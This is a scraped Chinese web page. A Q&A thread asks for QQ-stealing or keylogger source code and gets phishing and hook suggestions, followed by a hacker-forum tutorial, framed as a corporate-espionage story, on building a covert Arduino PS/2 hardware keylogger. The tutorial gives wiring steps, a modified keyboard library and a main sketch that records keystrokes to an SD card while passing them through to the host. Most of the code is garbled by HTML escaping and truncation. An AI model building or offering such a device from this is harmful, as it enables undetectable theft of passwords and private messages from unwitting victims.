我用vb参考文献别人的代码写了个键盘记录程序,现在有两个问题不知道怎么

想要用VB编一个盗QQ号、或者记录键盘的软件,求软件完整的原代码,【完整】急求,谢!_百度知道
想要用VB编一个盗QQ号、或者记录键盘的软件,求软件完整的原代码,【完整】急求,谢!
我有更好的答案
你是要方法还是要代码呢?放可以给你代码就不贴了1.利用钓鱼软件来套去密码
例如将界面做成和一些登陆界面一样2.利用Hook来将键盘输入的信息记录
最好还是代码
即时通讯软的原理是什么? 如何用VB编一个即时通讯软件? 最好有程序代码啦,最最好有个现成的啦,呵呵 可以利用winsock这个控件进行通讯
基本道不了,这么多密保。
其他类似问题
为您推荐:
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁用arduino制作硬件键盘记录器(长贴)-中国红客网络技术联盟 -
Powered by Discuz! Archiver
用arduino制作硬件键盘记录器(长贴)
本帖最后由 b41k3r 于
22:10 编辑
[先发段牢骚]
  (这段全是牢骚,如果有人要转载此文,请把这段删去,但请注明原作者和出处)
  刘尼玛的故事本是我计划中的一个系列,分为硬件和软件两个部分,内容都是关于移动和终端设备领域的,现在各大论坛里要么是大量入侵流水账类的文章,要么就是各个站点脚本漏洞的挖掘,早就让人觉得疲劳了,说实话,在我这个年龄,早已过了每天检测各个网站,寻找机会渗透的阶段,反倒是越来越注重新的一些技术领域的研究,所以我把最近两年研究的一些成果写了出来,希望最终可以积攒成一本书。
  于是我开始了漫长的写作,当软件和硬件部分各完成了四篇草稿的时候,我在论坛里把软件的第一篇整理好发了出来,结果得罪了发帖神,遭了报应,我的一块硬盘彻底挂了,软件部分全部丢失,所幸硬件部分曾经保存在网盘里,这部分本来是准备暂时藏私的,现在看来,只能把软件部分暂停,从硬件开始,把它们公之于众了...
  正文开始之前,先拜发帖神,您老多多保佑,小的给您烧高香了.
[刘尼玛吓出了一身冷汗]
  星期天的早晨,在睡梦中意淫了一晚上杨尼美的刘尼玛被一阵突如其来的电话铃声所惊醒,不得不骂骂咧咧的爬起来接电话,结果一看号码居然是主管打来的,刘尼玛的瞌睡顿时全醒了,主管在电话中把他劈头盖脸的一顿臭骂,起因是两天前主管安排刘尼玛去生意伙伴那里取一些资料,并向老总申请了公司的移动硬盘,结果老总今天使用硬盘的时候,杀毒软件报警,从里面查出来200多个木马,气急败坏的老总用谁也听不懂的家乡土话骂了主管的七舅老爷和八姨夫等等各种八竿子打不着的亲戚,憋了一肚子火憋得蛋疼的主管在挨完骂之后立马把电话打给了罪魁祸首刘尼玛,于是刘尼玛的各种八竿子打不着的亲戚外加十八代祖宗也被牵连了...
  放下电话的刘尼玛冷汗直流,浑身哆嗦了好久,好不容易稍微平静之后,他手抖着点上了一支烟,却突然发觉内裤湿了,不知是刚才吓尿了还是昨晚梦见和杨尼美用各种姿势翻云覆雨的时候弄湿的。他恐惧的原因不是因为工作中犯了错误被K了,而是这些木马病毒本身就是身为商业间谍的他故意种进去的,只是因为公司安装了强大的企业版杀毒软件,已经做过免杀的木马还是被查了出来。
  “还好没有被发觉,他们都认为我是不小心中的毒”,刘尼玛擦了一把冷汗,一边自言自语一边用密码给总部发了一条信息.
0x01 永远跟不上的大牛脚步
  我是总部的Q博士,因为刘尼玛的木马程序被全部查杀,所以他需要一个永远不可能被杀毒软件查到的木马,这个任务自然又落到了我的身上.
  刘尼玛碰到的难题并不让我感到意外,杀毒技术的进步使得木马的寿命越来越短了,但是有一群大牛在一直引领着技术革新的潮流,他们总有办法躲过杀毒软件的追杀.
  当还是小菜的我好不容易用vb写出第一个木马,加载到注册表开机启动时,大牛嗤之以鼻,他说现在我们都玩进程注入了,这个早过时了;
  当我好不容易鼓捣成功dll木马,准备庆贺的时候,大牛又给我泼了一盆冷水,他说现在是bootkit和rootkit的时代,传统的木马已经进历史的垃圾堆了;
  当我狂啃下了一堆内核书籍,终于知道rootkit是怎么回事的时候,大牛用嘲笑加可怜的眼神看着我说,你又晚了一步,我们都玩硬件了...
  好吧,晚了就晚了,再晚也得跟着走,否则会更落后,现在我们开始探究硬件木马的原理:
  硬件木马目前已经发展出了很多种,有截取显卡输出的视频信号并发射的,有植入摄像头悄悄记录的,最常见的是键盘记录器,将键盘偷偷接入键盘记录器,再将记录器插在主机上,就能记录从键盘上输入的数据,比如账号密码,聊天记录等等,而任何杀毒软件都不会检测到.
  我们先从键盘的插口开始,我这里没有usb的键盘,所以只研究了ps2口,但usb口的与之类似. ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:
  在计算机主机上的ps2是母口的,因此排列顺序与上图正好相反. 这6根线中只有Data和Clock用于数据传输,这样看来键盘记录器的原理其实并不复杂,我们需要一块微控制器和一个存储器,微控制器从键盘的data针脚读取输入数据,存入存储器之后,再通过主机ps2插口上的data输出,如下图所示:
  实际上对主机的输出并不一定仍然用ps2口,usb或者串口都可以.
  看完上图,也许有人会说这实现起来很难,可能需要用到电路板、电阻、电容等一系列元件和丰富的无线电知识,在很久以前这或许是事实,但现在我们有一个新玩意儿,可以让你在连焊接都不用的情况下就实现上面的设计,它就是arduino.
0x02 什么是arduino
  Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。
  Arduino 不需要知道各种硬件的底层知识,这些底层的调用都已经提前帮你实现好了,而且它使用的是c语言而不是汇编,配有一个官方的IDE和各种硬件的调用库,你只需要按照你自己的设计插接好各种硬件,就可以开始编写程序了,编写完之后烧写入微控制器(在arduino中这称为下载),它们会自动开始运行。
& && & Arduino本身是一种开源硬件,电路图是公开的,现在官方的和扩展出的各种arduino板子加起来已经有上百种,但其中最基本的仍然是UNO和它的升级版Leonardo,上图就是UNO和Leonardo,我们的设计是基于Leonardo的.
  Aduino的官方网站:http://www.arduino.cc,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程.
(有关arduino的其他具体细节请自行google,这里只做基本介绍)
0x03 连接硬件
  Arduino 的右边有一排针脚,从0到13,除了0和1被RX和TX占用之外,其余的都可以用来扩展各种硬件,我们先把PS2的键盘和arduino连起来:
  首先准备四根杜邦线,为了避免混淆,我采用和前面原理图中一样的颜色,把红线从键盘PS2口的5V针脚接入板子上左侧的5V针脚,把两端的GND用黑线连接起来,黄线从Clock针脚接入板子上的3号针脚,棕黄色线从DATA针脚接入板子上的5号针脚(3号和5号并不是确定的,在后面我们编写的程序中定义几号针脚,这里就接几号):
然后将arduino的miniUSB输出连接到电脑上的USB口,在电脑上安装USB转串口驱动,打开arduino IDE,在设置中设定好串口号,开始编写程序.
0x04 键盘输入的原理
  在编写程序之前,先要了解键盘和计算机之间是如何传输数据的。
  通过前面的内容,我们已经知道键盘与计算机之间其实是通过四根线连接的,除去电源和接地,起作用的实际上是时钟和数据,它们同时向计算机发送电信号. 而要将数据发送给计算机,键盘会同时检查这两根线路,只有确认它们都处于高位时,键盘才会发送数据,只要其中有一根处于低位,键盘就会认为其他设备正在发送数据,从而继续等待.
  从键盘所发出的数据是一个11位的结构,如下图所示:
  起始位的值一直固定为0,后面有8个数据位,这就是每按下一个键所发送的数据了,在每当时钟脉冲下降时就会从最小显著位开始发送,直到最高显著位为止,按下不同的键,各个时钟脉冲下降的规律也会不同,时钟脉冲的校验值每当脉冲到达一次低位就与1进行一次左移运算,同时每当数据脉冲与时钟脉冲同时到达高位时,二者的校验值就进行一次按位或运算,最后循环运算的结果就是所发送给计算机的按键值.
  在数据位后面跟着的是一个奇偶校验位和一个停止位,停止位的值总是1,这两个值其实是可以忽略的.
这里用一段示例的demo程序来说明:
#include &Arduino.h&
& && &public:
& && && && && & PS2(int clk, int data);
& && && && && & unsigned char read(void);
& && &private:
& && && && && & int _ps2
& && && && && & int _ps2
#include &ps2.h&
PS2::PS2(int clk, int data) //初始化,设置时钟和数据位的针脚
& && &_ps2clk =
& && &_ps2data =
unsigned char PS2::read(void)
& && &unsigned char data = 0x00;
& && &unsigned char bit = 0x01;
& && &pinMode(_ps2clk, INPUT);
& && &digitalWrite(_ps2clk, HIGH);
& && &pinMode(_ps2data, INPUT);
& && &digitalWrite(_ps2data, HIGH); //以上把时钟和数据均设置为高位,开始接受输入
& && &delayMicroseconds(50);
& && &while (digitalRead(_ps2clk) == HIGH)
& && &delayMicroseconds(5);
& && &while (digitalRead(_ps2clk) == LOW) //起始位的部分什么也不做,直接跳过
& && &for (i=0; i & 8; i++) //循环读取数据位
& && && && && & while (digitalRead(_ps2clk) == HIGH)
& && && && && && && && &;
& && && && && & if (digitalRead(_ps2data) == HIGH)//当时钟和数据线路均为高位时开始计算
& && && && && & {
& && && && && && && && &data = data | //两个值进行一次按位或运算
& && && && && & }
& && && && && & while (digitalRead(_ps2clk) == LOW)
& && && && && && && && &;
& && && && && & bit = bit && 1;//时钟脉冲每到达一次低位就与1进行一次左移运算
& && &while (digitalRead(_ps2clk) == HIGH)
& && &while (digitalRead(_ps2clk) == LOW) //跳过校验位
& && &while (digitalRead(_ps2clk) == HIGH)
& && &while (digitalRead(_ps2clk) == LOW) //跳过停止位
& && &pinMode(_ps2clk, OUTPUT);
& && &digitalWrite(_ps2clk, LOW); //全部读取完毕,将时钟设为低位
}在arduino IDE所在路径的libraries子目录下新建一个ps2文件夹,把以上两个源文件拷贝进去,然后打开IDE,它们就能以开发库的形式被调用.
在IDE中新建一个程序文件:
#include &ps2.h&
PS2 kbd(3, 5); //设置针脚为我们前面插入板子的3号和5号
void setup()
Serial.begin(9600);
kbd.read();
kbd.read(); //进行两次测试
void loop()
for (;;) {
& & code = kbd.read();
& & Serial.println(code); //读取键盘输入并输出到串口显示
}将以上代码编译并下载到arduino,然后打开一个串口调试器,按下键盘上的任一个键(功能键除外),串口中都会有输出.
0x05 完整的实现
  我们已经知道,键盘记录器通过三个步骤记录按键:截取输入-存入存储器-发送到计算机,我们已经知道了截取输入的原理,但其具体的实现要比上面这个demo程序复杂的多,所幸的是,我们有现成的开发库可以利用:
/teensy/arduino_libraries/PS2Keyboard.zip
  这是arduino官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键,由于该开发库基于GPL协议开源,那我修改后的版本也使用同样的协议开放源代码,代码如下,如果你懒得看代码,在本文的最后有下载地址,下载后直接放在libraries子目录里即可.
*PS2Keyboard.h
*Arduino PS2键盘支持库
*修改自/teensy/arduino_libraries/PS2Keyboard.zip
 *修改者:b41k3r
 *基于GPLv2开源
#ifndef PS2Keyboard_h
#define PS2Keyboard_h
#include &avr/io.h&
#include &avr/interrupt.h&
#include &avr/pgmspace.h&
#if defined(ARDUINO) && ARDUINO &= 100
#include &Arduino.h&
#include &WProgram.h&
#define PS2_TAB& & & & & & & & & & & & & & & & 9//这些定义完全按照这些键对应的ascii值
#define PS2_ENTER& & & & & & & & & & & && && & 13
#define PS2_BACKSPACE& & & & & & & & & & & & 8
#define PS2_CAPS_LOCK& && && && && &20
#define PS2_SHIFT& && && && && && & 16
#define PS2_LINEFEED& & & & & & & & & & & & 10
#define PS2_ESC& & & & & & & & & & & & & & & & 27
#define PS2_INSERT& & & & & & & & & & & && && & 45
#define PS2_DELETE& & & & & & & & & & & && && & 127
#define PS2_HOME& & & & & & & & & & & && && & 36
#define PS2_END& & & & & & & & & & & && && & 35
#define PS2_PAGEUP& & & & & & & & & & & && && & 33
#define PS2_PAGEDOWN& & & & & & & & & & & & 34
#define PS2_UPARROW& & & & & & & & & & & && && & 38
#define PS2_LEFTARROW& & & & & & & & & & & & 37
#define PS2_DOWNARROW& & & & & & & & & & & & 40
#define PS2_RIGHTARROW& & & & & & & & & & & & 39
#define PS2_F1& & & & & & & & & & & & & & & & -12//为了避免冲突,将F1-F12的值重新定义为了负值
#define PS2_F2& & & & & & & & & & & & & & & & -13
#define PS2_F3& & & & & & & & & & & & & & & & -14
#define PS2_F4& & & & & & & & & & & & & & & & -15
#define PS2_F5& & & & & & & & & & & & & & & & -16
#define PS2_F6& & & & & & & & & & & & & & & & -17
#define PS2_F7& & & & & & & & & & & & & & & & -18
#define PS2_F8& & & & & & & & & & & & & & & & -19
#define PS2_F9& & & & & & & & & & & & & & & & -20
#define PS2_F10& & & & & & & & & & & & & & & & -21
#define PS2_F11& & & & & & & & & & & & & & & & -22
#define PS2_F12& & & & & & & & & & & & & & & & -23
#define PS2_SCROLL& & & & & & & & & & & && &0
*这段本来定义的是各种语言的键盘中的特殊字符,基本上没有用,在这里为了不占篇幅去掉,详细源
*代码请看文后的下载地址
#define PS2_KEYMAP_SIZE 136
typedef struct {
& & & & uint8_
& & & & uint8_
& & & & uint8_t uses_
& & & & uint8_
} PS2Keymap_t;
extern const PROGMEM PS2Keymap_t PS2Keymap_US;
extern const PROGMEM PS2Keymap_t PS2Keymap_G
class PS2Keyboard {
& & PS2Keyboard();
& & static void begin(uint8_t dataPin, uint8_t irq_pin, const PS2Keymap_t &map = PS2Keymap_US);
& & static bool available();
& & static int read();
& & int readIt();
& & int getCombinationKey();
#if !defined(CORE_INT0_PIN)
#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) // Arduino Mega
#define CORE_INT0_PIN2
#define CORE_INT1_PIN3
#define CORE_INT2_PIN21
#define CORE_INT3_PIN20
#define CORE_INT4_PIN19
#define CORE_INT5_PIN18
#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) // Sanguino
#define CORE_INT0_PIN10
#define CORE_INT1_PIN11
#define CORE_INT2_PIN2
#elif defined(__AVR_ATmega32U4__) // Leonardo
#define CORE_INT0_PIN 3
#define CORE_INT1_PIN 2
#define CORE_INT2_PIN 0
#define CORE_INT3_PIN 1
#else// Arduino Duemilanove, Diecimila, LilyPad, Mini, Fio, etc...
#define CORE_INT0_PIN2
#define CORE_INT1_PIN3
*PS2Keyboard.cpp
*Arduino PS2键盘支持库
*修改自/teensy/arduino_libraries/PS2Keyboard.zip
*修改者:b41k3r
*基于GPLv2开源
#include &PS2Keyboard.h&
#define BUFFER_SIZE 45
static volatile uint8_
static volatile uint8_t head,
static uint8_t DataP
static uint8_t CharBuffer=0;
static uint8_t UTF8next=0;
static const PS2Keymap_t *keymap=NULL;
int CombinationKey=0;//增加了一个参数,用来判定按下的是否是功能键和组合键
void ps2interrupt(void)//读取键盘输入的函数,基本原理同前面的demo程序
& & & & static uint8_t bitcount=0;
& & & & static uint8_t incoming=0;
& & & & static uint32_t prev_ms=0;
& & & & uint32_t now_
& & & & uint8_t n,
& & & & val = digitalRead(DataPin);
& & & & now_ms = millis();
& & & & if (now_ms - prev_ms & 250) {
& & & & & & & & bitcount = 0;
& & & & & & & & incoming = 0;
& & & & prev_ms = now_
& & & & n = bitcount - 1;
& & & & if (n &= 7) {
& & & & & & & & incoming |= (val && n);
& & & & bitcount++;
& & & & if (bitcount == 11) {
& & & & & & & & uint8_t i = head + 1;
& & & & & & & & if (i &= BUFFER_SIZE) i = 0;
& & & & & & & & if (i != tail) {
& & & & & & & & & & & & buffer =
& & & & & & & & & & & & head =
& & & & & & & & }
& & & & & & & & bitcount = 0;
& & & & & & & & incoming = 0;
static inline uint8_t get_scan_code(void)
& & & & uint8_t c,
& & & & i =
& & & & if (i == head) return 0;
& & & & i++;
& & & & if (i &= BUFFER_SIZE) i = 0;
& & & & c =
& & & & tail =
const PROGMEM PS2Keymap_t PS2Keymap_US = {//预先定义好键盘上所有的常用键所对应的值
// without shift
& & & & {0, PS2_F9, 0, PS2_F5, PS2_F3, PS2_F1, PS2_F2, PS2_F12,
& & & & 0, PS2_F10, PS2_F8, PS2_F6, PS2_F4, PS2_TAB, '`', 0,
& & & & 0, 0 /*Lalt*/, PS2_SHIFT, 0, 0 /*Lctrl*/, 'q', '1', 0,
& & & & 0, 0, 'z', 's', 'a', 'w', '2', 0,
& & & & 0, 'c', 'x', 'd', 'e', '4', '3', 0,
& & & & 0, ' ', 'v', 'f', 't', 'r', '5', 0,
& & & & 0, 'n', 'b', 'h', 'g', 'y', '6', 0,
& & & & 0, 0, 'm', 'j', 'u', '7', '8', 0,
& & & & 0, ',', 'k', 'i', 'o', '0', '9', 0,
& & & & 0, '.', '/', 'l', ';', 'p', '-', 0,
& & & & 0, 0, '\'', 0, '[', '=', 0, 0,
& & & & PS2_CAPS_LOCK, PS2_SHIFT, PS2_ENTER /*Enter*/, ']', 0, '\\', 0, 0,
& & & & 0, 0, 0, 0, 0, 0, PS2_BACKSPACE, 0,
& & & & 0, '1', 0, '4', '7', 0, 0, 0,
& & & & '0', '.', '2', '5', '6', '8', PS2_ESC, 0 /*NumLock*/,
& & & & PS2_F11, '+', '3', '-', '*', '9', PS2_SCROLL, 0,
& & & & 0, 0, 0, PS2_F7 },
// with shift
& & & & {0, PS2_F9, 0, PS2_F5, PS2_F3, PS2_F1, PS2_F2, PS2_F12,
& & & & 0, PS2_F10, PS2_F8, PS2_F6, PS2_F4, PS2_TAB, '~', 0,
& & & & 0, 0 /*Lalt*/, PS2_SHIFT, 0, 0 /*Lctrl*/, 'Q', '!', 0,
& & & & 0, 0, 'Z', 'S', 'A', 'W', '@', 0,
& & & & 0, 'C', 'X', 'D', 'E', ', '#', 0,
& & & & 0, ' ', 'V', 'F', 'T', 'R', '%', 0,
& & & & 0, 'N', 'B', 'H', 'G', 'Y', '^', 0,
& & & & 0, 0, 'M', 'J', 'U', '&', '*', 0,
& & & & 0, '&', 'K', 'I', 'O', ')', '(', 0,
& & & & 0, '&', '?', 'L', ':', 'P', '_', 0,
& & & & 0, 0, '&', 0, '{', '+', 0, 0,
& & & & PS2_CAPS_LOCK, PS2_SHIFT, PS2_ENTER /*Enter*/, '}', 0, '|', 0, 0,
& & & & 0, 0, 0, 0, 0, 0, PS2_BACKSPACE, 0,
& & & & 0, '1', 0, '4', '7', 0, 0, 0,
& & & & '0', '.', '2', '5', '6', '8', PS2_ESC, 0 /*NumLock*/,
& & & & PS2_F11, '+', '3', '-', '*', '9', PS2_SCROLL, 0,
& & & & 0, 0, 0, PS2_F7 },
#define BREAK& &0x01
#define MODIFIER0x02
#define SHIFT_L& &0x04
#define SHIFT_R& &0x08
#define ALTGR& &0x10
#define CTRL& && &0x20
static char get_iso8859_code(void)
& & & & static uint8_t state=0;
& & & & uint8_
& & & & while (1) {
& & & & & & & & s = get_scan_code();
& & & & & & & & if (!s) return 0;
& & & & & & & & if (s == 0xF0) {
& & & & & & & & & & & & state |= BREAK;
& & & & & & & & } else if (s == 0xE0) {
& & & & & & & & & & & & state |= MODIFIER;
& & & & & & & & } else {
& & & & & & & & & & & & if (state & BREAK) {
& & & & & & & & & & & & & & & & if (s == 0x12) {
& & & & & & & & & & & & & & & & & & & & state &= ~SHIFT_L;
& & & & & & & & & & & & & & & & } else if (s == 0x59) {
& & & & & & & & & & & & & & & & & & & & state &= ~SHIFT_R;
& & & & & & & & & & & & & & & & } else if (s == 0x14) {
& & & & & & & & & & & & & & & & & & & & state &= ~CTRL;
& & & & & & & & & & & & & & & & } else if (s == 0x11) {
& & & & & & & & & & & & & & & & & & & & state &= ~ALTGR;
& & & & & & & & & & & & & & & & }
& & & & & & & & & & & & & & & & state &= ~(BREAK | MODIFIER);
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & }
& & & & & & & & & & & & if (s == 0x12) {
& & & & & & & & & & & & & & & & state |= SHIFT_L;
& && && && && && && && &CombinationKey = 3;
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & } else if (s == 0x59) {
& & & & & & & & & & & & & & & & state |= SHIFT_R;
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & } else if (s == 0x14) {
& & & & & & & & & & & & & & & & state |= CTRL;
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & } else if (s == 0x11) {
& & & & & & & & & & & & & & & & state |= ALTGR;
& & & & & & & & & & & & }
& & & & & & & & & & & & c = 0;
& & & & & & & & & & & & if (state & MODIFIER) {
& & & & & & & & & & & & & & & & switch (s) {
& & & & & & & & & & & & & & & && &case 0x70: c = PS2_INSERT;& && &
& & & & & & & & & & & & & & & && &case 0x6C: c = PS2_HOME;& && &
& & & & & & & & & & & & & & & && &case 0x7D: c = PS2_PAGEUP;& && &
& & & & & & & & & & & & & & & && &case 0x71: c = PS2_DELETE;& && &
& & & & & & & & & & & & & & & && &case 0x69: c = PS2_END;& && && &
& & & & & & & & & & & & & & & && &case 0x7A: c = PS2_PAGEDOWN;& &
& & & & & & & & & & & & & & & && &case 0x75: c = PS2_UPARROW;& &
& & & & & & & & & & & & & & & && &case 0x6B: c = PS2_LEFTARROW;& &
& & & & & & & & & & & & & & & && &case 0x72: c = PS2_DOWNARROW;& &
& & & & & & & & & & & & & & & && &case 0x74: c = PS2_RIGHTARROW;
& & & & & & & & & & & & & & & && &case 0x4A: c = '/';& && && && &
& & & & & & & & & & & & & & & && &case 0x5A: c = PS2_ENTER;& && &
& & & & & & & & & & & & & & & && &default:
& & & & & & & & & & & & & & & & }
& & & & & & & & & & & & } else if (state & (SHIFT_L | SHIFT_R)) {
& & & & & & & & & & & & & & & & if (s & PS2_KEYMAP_SIZE)
& & & & & & & & & & & & & & & & & & & & c = pgm_read_byte(keymap-&shift + s);
& & & & & & & & & & & & } else {
& & & & & & & & & & & & & & & & if (s & PS2_KEYMAP_SIZE)
& & & & & & & & & & & & & & & & & & & & c = pgm_read_byte(keymap-&noshift + s);
& & & & & & & & & & & & }
& & & & & & & & & & & & if (state & CTRL) { //ctrl加字母组合键
& && && && && & CombinationKey = 1;
& & & & & & & & & & & & & & & & if (c &= 'A' && c &= 'Z')
& && && && && && && && && && &c=0-c;
& & & & & & & & & & & & & & & & else if (c &= 'a' && c &= 'z')
& && && && && && && && && && &c=0-c;
& & & & & & & & & & & & & & & & else if (c == PS2_ENTER)
& & & & & & & & & & & & & & & & & & & & c = PS2_LINEFEED;
& & & & & & & & & & & & }
& & & & & & & & & & & & if (state & ALTGR) { //alt加字母组合键
& && && && && & CombinationKey = 2;
& & & & & & & & & & & & & & & & if (c &= 'A' && c &= 'Z')
& && && && && && && && && && &c=0-c;
& & & & & & & & & & & & & & & & else if (c &= 'a' && c &= 'z')
& && && && && && && && && && &c=0-c;
& & & & & & & & & & & & & & & & else if (c == PS2_ENTER)
& & & & & & & & & & & & & & & & & & & & c = PS2_LINEFEED;
& & & & & & & & & & & & }
& & & & & & & & & & & & state &= ~(BREAK | MODIFIER);
& & & & & & & & & & & & if (c)
& & & & & & & & }
int PS2Keyboard::getCombinationKey() {
& && &return CombinationK
bool PS2Keyboard::available() {
& & & & if (CharBuffer || UTF8next)
& & & & CharBuffer = get_iso8859_code();
& & & & if (CharBuffer)
int PS2Keyboard::readIt() {
& && & return read();
int PS2Keyboard::read() {
& & & & uint8_
& & & & result = UTF8
& & & & if (result) {
& & & & & & & & UTF8next = 0;
& & & & } else {
& & & & & & & & result = CharB
& & & & & & & & if (result) {
& & & & & & & & & & & & CharBuffer = 0;
& & & & & & & & } else {
& & & & & & & & & & & & result = get_iso8859_code();
& & & & & & & & }
& & & & & & & & if (result &= 128) {
& && && && && && &if (result &= 233 && result &= 244) //F1-F12的输入判定
& && && && && && &{
& && && && && && && && &CombinationKey =
& && && && && && &}else
& && && && && && &{
& & & & & & & & & & & && && && && & UTF8next = (result & 0x3F) | 0x80;
& & & & & & & & & & & && && && && & result = ((result && 6) & 0x1F) | 0xC0;
& && && && && && &}
& & & & & & & & }
& & & & if (!result) return -1;
PS2Keyboard::PS2Keyboard() {
// nothing to do here, begin() does it all
本帖最后由 b41k3r 于
22:30 编辑
void PS2Keyboard::begin(uint8_t data_pin, uint8_t irq_pin, const PS2Keymap_t &map) {
uint8_t irq_num=0;
DataPin = data_
keymap = &
#ifdef INPUT_PULLUP
pinMode(irq_pin, INPUT_PULLUP);
pinMode(data_pin, INPUT_PULLUP);
pinMode(irq_pin, INPUT);
digitalWrite(irq_pin, HIGH);
pinMode(data_pin, INPUT);
digitalWrite(data_pin, HIGH);
switch(irq_pin) {
& & #ifdef CORE_INT0_PIN
& & case CORE_INT0_PIN:
& && &irq_num = 0;
& & #endif
& & #ifdef CORE_INT1_PIN
& & case CORE_INT1_PIN:
& && &irq_num = 1;
& & #endif
& & #ifdef CORE_INT2_PIN
& & case CORE_INT2_PIN:
& && &irq_num = 2;
& & #endif
& & #ifdef CORE_INT3_PIN
& & case CORE_INT3_PIN:
& && &irq_num = 3;
& & #endif
& & #ifdef CORE_INT4_PIN
& & case CORE_INT4_PIN:
& && &irq_num = 4;
& & #endif
& & #ifdef CORE_INT5_PIN
& & case CORE_INT5_PIN:
& && &irq_num = 5;
& & #endif
& & #ifdef CORE_INT6_PIN
& & case CORE_INT6_PIN:
& && &irq_num = 6;
& & #endif
& & #ifdef CORE_INT7_PIN
& & case CORE_INT7_PIN:
& && &irq_num = 7;
& & #endif
& & default:
& && &irq_num = 0;
attachInterrupt(irq_num, ps2interrupt, FALLING);
}键盘输入的库有了,接下来第二步是将上面所截获的数据存入存储器,arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,这样小的空间显然不能满足我们的要求,但arduino本是就是为扩展各种功能而设计出来的,为此我们为它加入一块sd卡扩展板,将键盘数据存储在sd卡中,这里我选用seeed studio的SD Shield(这种扩展板市面上有很多,只要是支持arduino的,买来都能用),扩展板的安装极为简单,只需按照针脚位置对接插入,如下图所示: 这些为arduino定制的扩展板都有很好的兼容性,所以只要插上,然后用现成的SD卡库开发一段存储程序即可.接下来是如何将截获的键值发送到计算机的问题,这个问题自从arduino升级到leonardo,官方已经提供了完整的支持(这也是我们的设计基于leonardo的原因),这个新增的keyboard库可以用很简单的代码模拟键盘向计算机输入数据.好,现在万事具备,只差一段最后的程序了:
/*Name:arduino PS2键盘记录器程序
*Author:b41k3r
*Version:0x06
#include &PS2Keyboard.h&
#include &SD.h&& &//引用SD卡读写官方库
const int DataPin = 5;
const int IRQpin =3;//设置数据和时钟针脚
File RecordF& & //定义文件写入
String recordTemp=&&;//监听的临时参数,每监听到一个键就加在此字符的后面,并设定每次监听的开头为
PS2K& & //PS2Keyboard 类实例化
void setup() {
Keyboard.begin(); //向计算机发送按键信号准备开始
kbd.begin(DataPin, IRQpin, PS2Keymap_US);//设置键盘为标准的美国101
Serial.begin(9600);
pinMode(10, OUTPUT);
if (!SD.begin(4)) {
& & Serial.println(&Initialization failed!&);
RecordFile = SD.open(&record.txt&, FILE_WRITE);//在SD卡建立文件,准备写入
void loop() {& & //开始循环监听
if (kbd.available()) {
char c = kbd.readIt();& &//读取输入的键
int CombinationKey = kbd.getCombinationKey();
& & {// CombinationKey=2和1代表alt和ctrl两种组合键
& && & if(CombinationKey==2)
& && && && &Keyboard.press(KEY_LEFT_ALT);
& && && && &Keyboard.press(abs(c));
& && && && &delay(100);
& && && && &Keyboard.releaseAll();
& && &}else if (CombinationKey==1)
& && && && &Serial.println(abs(c));
& && && && &Keyboard.press(KEY_LEFT_CTRL);
& && && && &Keyboard.press(abs(c));
& && && && &delay(100);
& && && && &Keyboard.releaseAll();
& && &}else if (CombinationKey&=233 && CombinationKey&=244)//代表F1-F12
& && && & Serial.println(CombinationKey);
& && && & switch (CombinationKey) {
& && && && && & case 244:KeyPress(KEY_F1);
& && && && && & case 243:KeyPress(KEY_F2);
& && && && && & case 242:KeyPress(KEY_F3);
& && && && && & case 241:KeyPress(KEY_F4);
& && && && && & case 240:KeyPress(KEY_F5);
& && && && && & case 239:KeyPress(KEY_F6);
& && && && && & case 238:KeyPress(KEY_F7);
& && && && && & case 237:KeyPress(KEY_F8);
& && && && && & case 236:KeyPress(KEY_F9);
& && && && && & case 235:KeyPress(KEY_F10);
& && && && && & case 234:KeyPress(KEY_F11);
& && && && && & case 233:KeyPress(KEY_F12);
& && && && && & default:& &
& && && & }
& && &switch (c) {//其余的功能键
& && && && && & case PS2_ENTER:& && &KeyPress(KEY_RETURN);& && &
& && && && && & case PS2_TAB:& && &KeyPress(KEY_TAB);& && && &
& && && && && & case PS2_BACKSPACE: KeyPress(KEY_BACKSPACE);
& && && && && & case PS2_SHIFT:& && &KeyPress(KEY_LEFT_SHIFT);
& && && && && & case PS2_ESC:& && && &KeyPress(KEY_ESC);& && && &
& && && && && & case PS2_PAGEDOWN:& &KeyPress(KEY_PAGE_DOWN);& &
& && && && && & case PS2_PAGEUP:& && &KeyPress(KEY_PAGE_UP);& &
& && && && && & case PS2_LEFTARROW:KeyPress(KEY_LEFT_ARROW);
& && && && && & case PS2_RIGHTARROW: KeyPress(KEY_RIGHT_ARROW);
& && && && && & case PS2_UPARROW:& &KeyPress(KEY_UP_ARROW);& &
& && && && && &case PS2_DOWNARROW:& &KeyPress(KEY_DOWN_ARROW);
& && && && && & case PS2_DELETE:& && &KeyPress(KEY_DELETE);& && &
& && && && && & case PS2_CAPS_LOCK:KeyPress(KEY_CAPS_LOCK);& &
& && && && && & case PS2_HOME:& && &KeyPress(KEY_HOME);& && &
& && && && && & case PS2_END:& && && &KeyPress(KEY_END);& && && &
& && && && && & case PS2_INSERT:& &KeyPress(KEY_INSERT);& && &
& && && && && & default:& &//只有输入字符的时候才开始记录
